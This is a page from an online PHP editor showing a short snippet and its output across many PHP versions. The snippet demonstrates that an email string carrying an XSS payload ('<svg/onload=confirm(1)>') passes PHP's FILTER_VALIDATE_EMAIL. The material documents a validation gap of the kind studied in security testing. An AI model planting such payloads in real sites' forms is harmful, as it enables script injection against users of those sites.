Online PHP editor | output for sVQTG

@ 2018-11-25T11:16:22Z

<?php

// Payload to bypass simple email validation in PHP
$email = '"><svg/onload=confirm(1)>"@x.y';

var_dump(filter_var($email, FILTER_VALIDATE_EMAIL) !== false); // true

// To be fair, this is a valid email address as per the RFC (one can try it here: 
// http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate

// Source: https://twitter.com/brutelogic/status/1066333383276593152

Output for 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.33, 8.2.0 - 8.2.29, 8.3.0 - 8.3.28, 8.4.1 - 8.4.14, 8.5.0 - 8.5.1: bool(true)
Output for 8.4.15: /bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.35' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.34' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15)
Process exited with code 1.

preferences:dark modelive previewkey bindings